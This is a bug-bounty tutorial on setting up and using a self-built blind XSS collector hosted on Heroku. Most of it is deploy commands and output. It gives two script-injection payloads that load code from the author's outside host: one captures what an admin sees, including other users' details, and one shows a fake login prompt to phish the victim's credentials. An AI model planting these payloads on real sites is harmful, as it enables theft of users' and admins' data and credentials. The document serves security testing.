Finding Blind XSS with vaya-ciego-nen

04/08/2019

In this guide I'm going to explain how to find Blind Cross-site scripting (XSS) vulnerabilities with a tool I recently made: vaya-ciego-nen.

Set up Example Example 2

Set up

First, we'll need to clone the repository from git.

root@kali:~# git clone https://github.com/hipotermia/vaya-ciego-nen
Cloning into 'vaya-ciego-nen'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (49/49), done.
remote: Total 64 (delta 19), reused 44 (delta 10), pack-reused 0
Unpacking objects: 100% (64/64), done.
root@kali:~# cd vaya-ciego-nen/

As the project is oriented to be deployed in a free heroku instance, we'll need to install the heroku-cli and log in (the changes are minimum if you want to use the code in your own server).

root@kali:~/vaya-ciego-nen# heroku login
heroku: Press any key to open up the browser to login or q to exit: 
Opening browser to https://cli-auth.heroku.com/auth/browser/1195b8e6-5d65-425e-a712-cd76d93e9928
Logging in... done
Logged in as hipotermia@pm.me

Next, we'll need to set a name for our own application, I used cacapipi.

root@kali:~/vaya-ciego-nen# heroku create cacapipi
Creating ⬢ cacapipi... done
https://cacapipi.herokuapp.com/ | https://git.heroku.com/cacapipi.git

Also we'll add a postgresql database where the application it's going to store all the triggers.

root@kali:~/vaya-ciego-nen# heroku addons:create heroku-postgresql:hobby-dev
Creating heroku-postgresql:hobby-dev on ⬢ cacapipi... free
Database has been created and is available
 ! This database is empty. If upgrading, you can transfer
 ! data from another database with pg:copy
Created postgresql-objective-48735 as DATABASE_URL
Use heroku addons:docs heroku-postgresql to view documentation

Then edit the config.py file with a username and password of your choice (this will be to access your dashboard) and change the name by your recently created application.

root@kali:~/vaya-ciego-nen# vim config.py 
root@kali:~/vaya-ciego-nen# cat config.py 
AUTH_USERNAME = 'iuiu'
AUTH_PASSWORD = '123'
DOMAIN = 'cacapipi.herokuapp.com'

Finally, commit the changes and push them to heroku.

root@kali:~/vaya-ciego-nen# git add .
root@kali:~/vaya-ciego-nen# git commit -m "letsgo"
root@kali:~/vaya-ciego-nen# git push heroku master
Enumerating objects: 64, done.
Counting objects: 100% (64/64), done.
Delta compression using up to 4 threads
Compressing objects: 100% (59/59), done.
Writing objects: 100% (64/64), 364.17 KiB | 10.12 MiB/s, done.
Total 64 (delta 19), reused 0 (delta 0)
remote: Compressing source files... done.
remote: Building source:
remote: 
remote: -----> Python app detected
remote: -----> Installing python-3.6.8
remote: -----> Installing pip
remote: -----> Installing SQLite3
remote: -----> Installing requirements with pip
remote:        Collecting Flask (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading https://files.pythonhosted.org/packages/9b/93/628509b8d5dc749656a9641f4caf13540e2cdec85276964ff8f43bbb1d3b/Flask-1.1.1-py2.py3-none-any.whl (94kB)
remote:        Collecting gunicorn (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 2))
remote:          Downloading https://files.pythonhosted.org/packages/8c/da/b8dd8deb741bff556db53902d4706774c8e1e67265f69528c14c003644e6/gunicorn-19.9.0-py2.py3-none-any.whl (112kB)
remote:        Collecting flask-cors (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 3))
remote:          Downloading https://files.pythonhosted.org/packages/78/38/e68b11daa5d613e3a91e4bf3da76c94ac9ee0d9cd515af9c1ab80d36f709/Flask_Cors-3.0.8-py2.py3-none-any.whl
remote:        Collecting Flask-BasicAuth (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 4))
remote:          Downloading https://files.pythonhosted.org/packages/16/18/9726cac3c7cb9e5a1ac4523b3e508128136b37aadb3462c857a19318900e/Flask-BasicAuth-0.2.0.tar.gz
remote:        Collecting psycopg2-binary (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 5))
remote:          Downloading https://files.pythonhosted.org/packages/b1/35/75c9c2d9cfc073ab6c42b2d8e91ff58c9b99f4ed7ed56b36647642e6080e/psycopg2_binary-2.8.3-cp36-cp36m-manylinux1_x86_64.whl (2.9MB)
remote:        Collecting Jinja2>=2.10.1 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading https://files.pythonhosted.org/packages/1d/e7/fd8b501e7a6dfe492a433deb7b9d833d39ca74916fa8bc63dd1a4947a671/Jinja2-2.10.1-py2.py3-none-any.whl (124kB)
remote:        Collecting click>=5.1 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading https://files.pythonhosted.org/packages/fa/37/45185cb5abbc30d7257104c434fe0b07e5a195a6847506c074527aa599ec/Click-7.0-py2.py3-none-any.whl (81kB)
remote:        Collecting Werkzeug>=0.15 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading https://files.pythonhosted.org/packages/d1/ab/d3bed6b92042622d24decc7aadc8877badf18aeca1571045840ad4956d3f/Werkzeug-0.15.5-py2.py3-none-any.whl (328kB)
remote:        Collecting itsdangerous>=0.24 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading https://files.pythonhosted.org/packages/76/ae/44b03b253d6fade317f32c24d100b3b35c2239807046a4c953c7b89fa49e/itsdangerous-1.1.0-py2.py3-none-any.whl
remote:        Collecting Six (from flask-cors->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 3))
remote:          Downloading https://files.pythonhosted.org/packages/73/fb/00a976f728d0d1fecfe898238ce23f502a721c0ac0ecfedb80e0d88c64e9/six-1.12.0-py2.py3-none-any.whl
remote:        Collecting MarkupSafe>=0.23 (from Jinja2>=2.10.1->Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading https://files.pythonhosted.org/packages/b2/5f/23e0023be6bb885d00ffbefad2942bc51a620328ee910f64abe5a8d18dd1/MarkupSafe-1.1.1-cp36-cp36m-manylinux1_x86_64.whl
remote:        Installing collected packages: MarkupSafe, Jinja2, click, Werkzeug, itsdangerous, Flask, gunicorn, Six, flask-cors, Flask-BasicAuth, psycopg2-binary
remote:          Running setup.py install for Flask-BasicAuth: started
remote:            Running setup.py install for Flask-BasicAuth: finished with status 'done'
remote:        Successfully installed Flask-1.1.1 Flask-BasicAuth-0.2.0 Jinja2-2.10.1 MarkupSafe-1.1.1 Six-1.12.0 Werkzeug-0.15.5 click-7.0 flask-cors-3.0.8 gunicorn-19.9.0 itsdangerous-1.1.0 psycopg2-binary-2.8.3
remote: 
remote: -----> Discovering process types
remote:        Procfile declares types -> web
remote: 
remote: -----> Compressing...
remote:        Done: 48.2M
remote: -----> Launching...
remote:        Released v5
remote:        https://cacapipi.herokuapp.com/ deployed to Heroku
remote: 
remote: Verifying deploy... done.
To https://git.heroku.com/cacapipi.git
 * [new branch]      master -> master

When the deploy finishes, the webapp will be ready and our payload will be available in our custom URL (https://cacapipi.herokuapp.com).

Also, accessing to /dashboard with the credentials we entered before, we'll be able to see and manage all the triggers.

Example

Imagine you find the following register form. If you're looking for bugs on this website, you could use your recently created webapp to try to trigger a blind xss using "><script src="https://cacapipi.herokuapp.com/?email_input"></script>. Check how I added email_input as a parameter, which will later help us to identify which payload triggered the vulnerability.

If the user input is not correctly filtered, when someone sees our "email" it will trigger the xss and it will appear in our dashboard.

Clicking on the view button will pop up more info about the xss.

The screenshot shows us that the xss was triggered when the admin was checking the users information.

In this example we have emails and passwords from other users -> Critical -> $$$.

Example 2

NOTE: Most bugbounties don't allow phishing attacks on their programs. Don't do this if you're 100% sure you're allowed.

Now imagine, we got the same xss but with any interesting information in the screenshot and no cookies because the httpOnly flag was correctly set.

vaya-ciego-nen also includes another payload which creates a fake login pop up in the victim's browser to phish him.

To use this payload we have to use /phish in our url path instead, "><script src="https://cacapipi.herokuapp.com/phish"></script> in our example.

Then, the user who triggers the xss should see something like this.

If the user enters its credentials, they're are going to appear in your dashboard.